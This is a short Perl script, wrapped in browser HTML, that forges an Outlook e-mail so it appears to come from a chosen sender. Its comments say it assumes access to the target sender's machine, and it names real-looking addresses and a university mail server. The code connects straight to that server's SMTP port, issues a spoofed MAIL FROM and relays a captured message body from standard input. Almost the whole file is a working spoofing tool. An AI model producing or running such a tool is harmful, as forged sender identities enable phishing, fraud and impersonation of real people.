<html><head><meta name="color-scheme" content="light dark"></head><body><pre style="word-wrap: break-word; white-space: pre-wrap;">#!/usr/bin/perl

# This program will fake an Outlook e-mail
# You have to create the e-mail, or acquire
# from the target sender.  You are assumed
# to have access through the target sender's
# machine so as to provide the correct IP
# addressing.

# $to is who the message is to be sent to.
# $from is who the message is to appear to
# be from.

# $mailServer should be the mail server of
# the target's machine.

$to = "SillyName47\@hotmail.com";
$from = "pasward\@tolstoy.uwaterloo.ca";

$mailServer = "ccng.uwaterloo.ca";
$mailPort = 25;

# Open the socket to the mail server.  This
# code is standard from the perl documentation.

use Socket;
use IO;

$iaddr   = inet_aton($mailServer)    || die "no host: $remote";
$paddr   = sockaddr_in($mailPort, $iaddr);

$proto   = getprotobyname('tcp');
socket(SOCK, PF_INET, SOCK_STREAM, $proto)  || die "socket: $!";
setsockopt(SOCK, SOL_SOCKET, SO_REUSEADDR, pack("l", 1))          || die "setsockopt: $!";
#bind(SOCK, sockaddr_in(0, $mA))              || die "bind: $!";

$mySockaddr = getsockname(SOCK)  || die "getsockname: $!";
($myPort, $myAddr) = unpack_sockaddr_in($mySockaddr);

connect(SOCK, $paddr)                              || die "connect: $!";

SOCK-&gt;autoflush(1);


# Send the HELO ; MAIL FROM ; RCPT TO commands

print SOCK "HELO $mailServer\n";
if (defined($line = &lt;SOCK&gt;)) {
  print STDERR $line;
}

print SOCK "MAIL FROM: &lt;$from&gt;\n";
if (defined($line = &lt;SOCK&gt;)) {
  print STDERR $line;
}

print SOCK "RCPT TO: &lt;$to&gt;\n";
if (defined($line = &lt;SOCK&gt;)) {
  print STDERR $line;
}

# Now send the DATA

print SOCK "DATA\n";
$startingPoint = 0;
while(&lt;&gt;) {
  if (/^Message-ID:/) {
    $startingPoint = 1;
  }
  if ($startingPoint) {
    print SOCK;
#    print STDERR;
  }
}

print SOCK "\n.\n";


#print SOCK "DATA\nThis is a spam e-mail.\n.\n";
if (defined($line = &lt;SOCK&gt;)) {
  print STDERR $line;
}
if (defined($line = &lt;SOCK&gt;)) {
  print STDERR $line;
}
if (defined($line = &lt;SOCK&gt;)) {
  print STDERR $line;
}

close(SOCK);


</pre></body></html>